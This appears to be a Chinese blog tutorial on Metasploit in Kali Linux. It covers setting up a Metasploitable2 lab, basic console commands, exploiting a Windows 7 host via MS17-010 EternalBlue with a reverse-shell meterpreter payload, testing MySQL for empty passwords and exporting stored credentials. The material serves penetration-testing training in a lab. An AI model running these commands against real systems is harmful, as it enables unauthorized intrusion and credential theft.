渗透工具之Kali MSF(metasploit framework)使用-爱代码爱编程
- 初识MSF(渗透测试开源软件平台,一个漏洞利用框架,对计算机软件漏洞进行攻击)
- Kali查找MSF框架:cd /usr/share/metasploit-framework,进入windows攻击模块:cd /usr/share/metasploit-framework/modules/exploits/windows
- 学习路线:MSF了解------>安装MSF2-Linux靶机------->MSF基本使用方法------>MSF实战:攻击win7主机并远程执行命令|扫描靶机mysql服务
- MSF渗透测试框架介绍:
- Metasploitable2Linux 系统靶机的安装:
- 下载安装:官网下载Metasploitable2-Linux,解压出来得到一个Metasploitable.vmx虚拟机文件,打开vmware 虚拟机,打开这个文件即可
- 进入:复制进入虚拟机之后直接输入账号密码msfadmin/msfadmin 进入靶机
- 切换root:切换root账号 sudo passwd root 输入密码进入修改root账号密码即可登录root账号
- 设置静态IP:vim /etc/network/interfaces | 修改 iface eth0 inet dhcp 为 iface eth0 inet static | 增加ipv4地址 address 192.168.56.154,子网掩码 netmask 255.255.255.0,网关 gateway 192.168.56.2 | 重启网卡 systemctl restart network
- 拍摄快照
- Metasploit基本使用方法:
- 开启MSF需要使用postgresql | systemctl start postgresql , systemctl enable postgresql
- Kali进入MSF命令终端输入:msfconsole | msfconsole -q |
- MSF常用命令:
- help 查看帮助信息 | 核心命令中的 connect:远程连接主机。一般用于内网渗透
- show all 显示所有模块 | 显示所有渗透攻击模块 show exploits 等等
- search keywords(参数)search name:mysql #查找mysql的漏洞 | 通过路径查找模块:search path:mysql | search platform mysql:通过平台查找 | search type:exploits name:linux 搜索linux平台的exploits(渗透攻击模块)
- 根据CVE(好比一个字典,什么字典呢,存放广泛认同的信息安全漏洞或已经暴露出来的弱点给出一个公共的名称)搜索exploit 相关模块
- search cve:CVE-2017-8464 type:exploit 搜索这个漏洞的渗透攻击模块 | search cve:2020 type:linux
- use 编号(0,1,2,3....) 使用漏洞 | back 退出当前漏洞,不退出msf | info 显示漏洞详细信息 | show options 查看漏洞利用所需要的信息
- show targets 显示这个漏洞可以利用的所有平台 | set target 34 设置漏洞利用平台编号为34的平台 | set rhosts 192.168.56.xxx 设置目标主机ip
- run 直接运行漏洞 | shell 进入目标机执行脚本
- 实战: 使用msf渗透Win7主机并远程执行命令:
- 前期:win7 x64旗舰版操作系统 | 利用ms17-010 这个漏洞
- msf6 > search ms17-010 | 设置辅助模块auxiliary 目标主机(win7)ip :use auxiliary/scanner/smb/smb_ms17_010 ,set rhosts 192.168.x.x | 备注:取消设置unset RHOSTS
- 设置攻击模块:search ms17-010 | 使用永恒之蓝漏洞(eternalblue):use exploit(windows/smb/ms17_010_eternalblue)
- show options | 设置目标主机(win7)ip :set RHOSTS 192.168.x.x | 查看options配置是否正确 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
- show targets 检查可攻击的目标主机 | set target 4 设置正确的可攻击的目标主机 | 检查payload 检查端口是否被占用
- run | exploit 开始攻击
- 如果目标主机是win7 可以通过chcp 65001 解决乱码问题 | backgroud 保存连接到后台 | sessions 查看所有连接
- net user 查看所有用户 | help 查看所有可执行的命令 | run VUC 远程监控 | session -i 4(数字) 进入连接 | run -j 保存到后台连接 | sessions -k 5(数字) 删除连接 |
- 实战:使用msf扫描靶机上mysql服务的空密码
- msf搜索mysql:search mysql | use auxiliary(scanner/mysql/mysql_login)使用mysql_login登录密码
- set rhosts 192.168.x.x(靶机ip)| set username root 设置mysql用户为root
- run | exploid 直接执行攻击
- creds 列出postgrepsql 所有凭证
- db_export -h 查看导出帮助,导出格式(xml、pwdump) | db_export -f xml /root/bak.xml 导出所有数据库到kali /root目录下
- 清空msf数据库:msfdb reinit | services 查看所有漏洞利用过的服务信息
- hosts 查看所有连接过的主机 | db_import /root/bak.xml 导入数据库 | hosts -h查看主机帮助 | hosts -a|-d 添加|删除主机
- 基于Metasploit渗透测试的信息收集(基于辅助模块)
- 基于TCP协议收集主机信息
- use auxiliary/scanner/portscan/syn (使用辅助模块下的tcp半连接扫描)
- show missing (显示你该设置而没有设置的参数)
- set RHOSTS 192.168.1.1 (设置主机ip)
- set PORTS 80
- run
- 基于TCP协议收集主机信息